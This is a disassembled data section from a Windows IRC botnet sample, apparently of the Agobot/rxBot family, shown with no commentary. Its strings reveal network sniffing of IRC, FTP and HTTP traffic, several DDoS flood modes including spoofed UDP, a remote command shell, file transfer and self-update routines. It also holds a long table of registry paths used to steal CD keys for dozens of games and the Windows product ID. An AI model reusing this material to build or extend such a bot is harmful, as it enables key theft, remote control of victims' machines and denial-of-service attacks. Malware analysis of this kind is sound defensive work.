align 4
unk_44C9BC db 2Dh ; - ; DATA XREF: sub_412F1F+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 4
aS_27 db '%s',0 ; DATA XREF: sub_412F1F+22Fo
align 10h
aS_28 db '%s',0 ; DATA XREF: sub_412F1F+253o
align 4
unk_44C9F4 db 2Dh ; - ; DATA XREF: sub_412F1F+2DCo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CA28 db 2Dh ; - ; DATA XREF: sub_412F1F+30Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CA5C db 2Dh ; - ; DATA XREF: sub_412F1F+337o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CA90 db 2Dh ; - ; DATA XREF: sub_412F1F+36Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_44CAC8 db 2Dh ; - ; DATA XREF: sub_412F1F+3D6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 10h
unk_44CB00 db 2Dh ; - ; DATA XREF: sub_4132FC+5Bo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_4133AE+F1o
align 4
aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_4133AE:loc_4134BEo
align 10h
aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_4133AE:loc_4134DAo
dword_44CB4C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_4133AE+31Ao
dd 203A726Fh, 6425h
unk_44CB68 db 2Dh ; - ; DATA XREF: sub_413740+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 4
unk_44CB94 db 2Dh ; - ; DATA XREF: sub_413740+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
unk_44CBC4 db 2Dh ; - ; DATA XREF: sub_413740+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 8
unk_44CBE8 db 2Dh ; - ; DATA XREF: sub_413740+326o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 8
unk_44CC38 db 2Dh ; - ; DATA XREF: sub_413740+390o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 10h
unk_44CC80 db 2Dh ; - ; DATA XREF: sub_413B2B+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
unk_44CCA8 db 2Dh ; - ; DATA XREF: sub_413B2B+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
unk_44CCD4 db 2Dh ; - ; DATA XREF: sub_413CB7+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
unk_44CCFC db 2Dh ; - ; DATA XREF: sub_413CB7+1C7o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 4
dword_44CD28 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_413ECE+48o
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_44CD54 db 2Dh ; - ; DATA XREF: sub_414067+48o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
unk_44CD7C db 2Dh ; - ; DATA XREF: sub_414103+295o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
dword_44CD9C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_41440C+4Do
aDoneWithFlood_ db '- Done with flood.',0
align 10h
unk_44CDC0 db 2Dh ; - ; DATA XREF: sub_4146C8+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
unk_44CDF4 db 2Dh ; - ; DATA XREF: sub_4146C8+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_44CE2C db 2Dh ; - ; DATA XREF: sub_4146C8+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
aSyn_1 db 'syn',0 ; DATA XREF: sub_4146C8+2BDo
aAck_0 db 'ack',0 ; DATA XREF: sub_4146C8+2DDo
aRandom_2 db 'random',0 ; DATA XREF: sub_4146C8+2FDo
align 10h
unk_44CE60 db 2Dh ; - ; DATA XREF: sub_4146C8+471o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 10h
unk_44CEB0 db 2Dh ; - ; DATA XREF: sub_4146C8+4E4o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 10h
unk_44CF00 db 2Dh ; - ; DATA XREF: sub_414C64+60o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_414D19+C8o
unk_44CF40 db 2Dh ; - ; DATA XREF: sub_414F53+47o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 10h
unk_44CF80 db 2Dh ; - ; DATA XREF: sub_414FC9+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 10h
unk_44CFB0 db 2Dh ; - ; DATA XREF: sub_414FC9+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 10h
unk_44D000 db 2Dh ; - ; DATA XREF: sub_414FC9+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_44D044 db 2Dh ; - ; DATA XREF: sub_414FC9+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_414FC9+17Eo
align 10h
unk_44D080 db 2Dh ; - ; DATA XREF: sub_414FC9+2F6o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 8
unk_44D0E8 db 2Dh ; - ; DATA XREF: sub_414FC9+348o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_44D174 db 2Dh ; - ; DATA XREF: sub_415321+5Do
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 10h
asc_44D1A0: ; DATA XREF: sub_4154BB+1C0o
unicode 0, < >,0
aSD_2 db '%s%d ',0 ; DATA XREF: sub_4154BB+1FEo
align 4
dword_44D1AC dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_4159C4+10o
dword_44D1C0 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_4159C4+35o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415A3C+60o
align 4
dword_44D1F8 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: _0:00415AF8o
dword_44D204 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415B79+20o
dword_44D218 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415B79:loc_415BAEo
dword_44D22C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_415BEC+3Fo
dd 676E6974h, 0
dword_44D248 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: sub_415BEC+DCo
dd 6574656Ch, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_415D1B+11o
aWindow db 'Window',0 ; DATA XREF: sub_415F56+23o
align 4
aWindow_0 db 'Window',0 ; DATA XREF: sub_41614F+26o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: _2:off_44E134o
align 4
aCdkey db 'CDKey',0 ; DATA XREF: _2:0044E138o
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: _2:0044E13Co
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aKey_0 db 'Key',0
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aKey_1 db 'Key',0
aHalfLife db 'Half-Life',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aPrvkey db 'prvkey',0
align 4
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aCustomernumber db 'CustomerNumber',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aCdkey_0 db 'CDKey',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
align 4
aProductid db 'ProductId',0
align 10h
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 10h
aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0
align 4
aCdkey_1 db 'CDKey',0
align 4
aUnrealTourname db 'Unreal Tournament 2003',0
align 4
aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0
align 4
aCdkey_2 db 'CDKey',0
align 10h
aUnrealTourna_0 db 'Unreal Tournament 2004',0
align 4
aSoftwareIgi2Re db 'Software\IGI 2 Retail',0
align 10h
aCdkey_3 db 'CDKey',0
align 4
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 10h
aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194 db 'Battlefield 1942',0
align 4
aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
align 8
aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
align 10h
aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 10h
aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0 db 'Command and Conquer: Generals',0
align 4
aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 10h
aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0
align 4
aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 8
aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNascarRacing20 db 'Nascar Racing 2002',0
align 4
aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2003',0
align 4
aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0
align 4
aCdkey_4 db 'CDKey',0
align 10h
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSoftwareWest_0 db 'Software\Westwood\Red Alert',0
aSerial_0 db 'Serial',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Red Alert',0
align 4
aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0
align 4
aSerial_1 db 'Serial',0
align 4
aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0
align 4
aSoftwareWest_2 db 'Software\Westwood\NOX',0
align 10h
aSerial_2 db 'Serial',0
align 4
aNox db 'NOX',0
aSoftwareTechla db 'Software\Techland\Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
aChrome db 'Chrome',0
align 10h
aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aKey_2 db 'key',0
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 10h
aBaseMpSof2key db 'base\mp\sof2key',0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation db 'Location',0
align 4
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aNwncdkey_ini db 'nwncdkey.ini',0
align 4
aKey1 db 'Key1=',0
align 10h
aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation_0 db 'Location',0
align 10h
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
align 4
aNwncdkey_ini_0 db 'nwncdkey.ini',0
align 4
aKey2 db 'Key2=',0
align 4
aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation_1 db 'Location',0
align 4
aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0
align 4
aNwncdkey_ini_1 db 'nwncdkey.ini',0
align 4
aKey3 db 'Key3=',0
align 10h
dd 80000001h
off_44E134 dd offset aSoftwareValveC ; DATA XREF: sub_41638E+Cr
; sub_41638E+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_44E140 dd 2 dup(0) ; DATA XREF: sub_41638E+26o
dd 80000001h, 44D2C8h, 44D2F0h, 44D2FCh, 2 dup(0)
dd 80000001h, 44D30Ch, 44D32Ch, 44D330h, 2 dup(0)
dd 80000001h, 44D344h, 44D368h, 44D36Ch, 2 dup(0)
dd 80000001h, 44D378h, 44D39Ch, 44D3A4h, 2 dup(0)
dd 80000001h, 44D3B8h, 44D3CCh, 44D3DCh, 2 dup(0)
dd 80000001h, 44D3F8h, 44D43Ch, 44D444h, 2 dup(0)
dd 80000002h, 44D458h, 44D484h, 44D490h, 2 dup(0)
dd 80000002h, 44D4B0h, 44D4E4h, 44D4ECh, 2 dup(0)
dd 80000002h, 44D504h, 44D538h, 44D540h, 2 dup(0)
dd 80000002h, 44D558h, 44D570h, 44D578h, 2 dup(0)
dd 80000002h, 44D590h, 4EABDCh, 44D5CCh, 2 dup(0)
dd 80000002h, 44D5DCh, 4EABDDh, 44D614h, 2 dup(0)
dd 80000002h, 44D628h, 4EABDEh, 44D674h, 2 dup(0)
dd 80000002h, 44D698h, 4EABDFh, 44D6E8h, 2 dup(0)
dd 80000002h, 44D714h, 4EABE0h, 44D750h, 2 dup(0)
dd 80000002h, 44D764h, 4EABE1h, 44D79Ch, 2 dup(0)
dd 80000002h, 44D7B0h, 4EABE2h, 44D800h, 2 dup(0)
dd 80000002h, 44D830h, 4EABE3h, 44D870h, 2 dup(0)
dd 80000002h, 44D88Ch, 4EABE4h, 44D8BCh, 2 dup(0)
dd 80000002h, 44D8DCh, 4EABE5h, 44D918h, 2 dup(0)
dd 80000002h, 44D930h, 4EABE6h, 44D978h, 2 dup(0)
dd 80000002h, 44D998h, 4EABE7h, 44D9ECh, 2 dup(0)
dd 80000002h, 44DA20h, 4EABE8h, 44DA70h, 2 dup(0)
dd 80000002h, 44DA9Ch, 44DADCh, 44DAE4h, 2 dup(0)
dd 80000002h, 44DB08h, 4EABE9h, 44DB4Ch, 2 dup(0)
dd 80000002h, 44DB68h, 4EABEAh, 44DBB4h, 2 dup(0)
dd 80000002h, 44DBD8h, 4EABEBh, 44DC0Ch, 2 dup(0)
dd 80000002h, 44DC18h, 4EABECh, 44DC4Ch, 2 dup(0)
dd 80000002h, 44DC58h, 4EABEDh, 44DC8Ch, 2 dup(0)
dd 80000002h, 44DC98h, 4EABEEh, 44DCCCh, 2 dup(0)
dd 80000002h, 44DCD8h, 4EABEFh, 44DD14h, 2 dup(0)
dd 80000002h, 44DD28h, 4EABF0h, 44DD64h, 2 dup(0)
dd 80000002h, 44DD78h, 44DDA8h, 44DDB0h, 2 dup(0)
dd 80000002h, 44DDCCh, 44DDECh, 44DDF4h, 2 dup(0)
dd 80000002h, 44DE18h, 44DE34h, 44DE3Ch, 2 dup(0)
dd 80000002h, 44DE5Ch, 44DE7Ch, 44DE84h, 2 dup(0)
dd 80000002h, 44DEA8h, 44DEC0h, 44DEC8h, 2 dup(0)
dd 80000002h, 44DECCh, 44DEE8h, 44DEF8h, 2 dup(0)
dd 80000002h, 44DF00h, 44DF34h, 44DF38h, 2 dup(0)
dd 80000002h, 44DF50h, 44DF8Ch, 44DF98h, 44DFC0h, 44DFD0h
dd 80000002h, 44DFE4h, 44E008h, 44E014h, 44E028h, 44E038h
dd 80000002h, 44E040h, 44E064h, 44E070h, 44E09Ch, 44E0ACh
dd 80000002h, 44E0B4h, 44E0D8h, 44E0E4h, 44E114h, 44E124h
dd 6 dup(0)
dword_44E568 dd 255C7325h ; DATA XREF: sub_41638E+79o
aSr: ; DATA XREF: sub_41638E+8Ao
; sub_41638E+E1o ...
unicode 0, <sr==>
dword_44E574 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_41638E+101o
dd 0
dword_44E58C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_41638E+11Bo
dd 0
dword_44E5A4 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_41638E+167o
dd 0
unk_44E5BC db 2Dh ; - ; DATA XREF: sub_4165C7+47o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
unk_44E5E0 db 2Dh ; - ; DATA XREF: sub_4165C7+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 10h
asc_44E610: ; DATA XREF: sub_4165C7+138o
dw 0Ah
unicode 0, <>,0
unk_44E614 db 2Dh ; - ; DATA XREF: sub_4165C7+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_44E648 db 2Dh ; - ; DATA XREF: sub_416788+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_3 db '- failed to create socket',0
align 4
unk_44E66C db 2Dh ; - ; DATA XREF: sub_416788+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_44E690 db 2Dh ; - ; DATA XREF: sub_416788+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpen_0 db '- failed to open socket',0
align 4
unk_44E6B4 db 2Dh ; - ; DATA XREF: sub_416788+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
dword_44E6D4 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_416788+16Ao
dd 169h
dword_44E6EC dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_416788+1CBo
dd 74756Fh
unk_44E704 db 2Dh ; - ; DATA XREF: sub_416788+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
unk_44E728 db 2Dh ; - ; DATA XREF: sub_416788+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
dword_44E754 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_416788+36Bo
dd 726F72h
dword_44E76C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_416788+37Co
dd 726F72h
dword_44E784 dd 73257325h, 0 ; DATA XREF: sub_416B2D+54o
unk_44E78C db 2Dh ; - ; DATA XREF: sub_416B2D+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_416B2D+97o
unk_44E7C0 db 2Dh ; - ; DATA XREF: sub_416B2D+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
unk_44E7EC db 2Dh ; - ; DATA XREF: sub_416B2D+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
dword_44E80C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_416B2D+156o
dd 726F72h
unk_44E824 db 2Dh ; - ; DATA XREF: sub_416B2D+1CFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 10h
unk_44E850 db 2Dh ; - ; DATA XREF: sub_416D68+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
unk_44E878 db 2Dh ; - ; DATA XREF: sub_416D68+191o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 10h
unk_44E8A0 db 2Dh ; - ; DATA XREF: sub_416D68:loc_416F00o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
unk_44E8C8 db 2Dh ; - ; DATA XREF: sub_416D68+1CDo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_44E8F4 db 2Dh ; - ; DATA XREF: sub_416D68+257o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_44E91C db 2Dh ; - ; DATA XREF: sub_416D68+2D6o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
aOpen_2 db 'open',0 ; DATA XREF: sub_416D68+32Bo
align 4
dword_44E95C dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: sub_416D68+34Do
dd 25206465h, 73h
unk_44E978 db 2Dh ; - ; DATA XREF: sub_416D68+3B6o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
unk_44E9BC db 2Dh ; - ; DATA XREF: sub_416D68+472o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
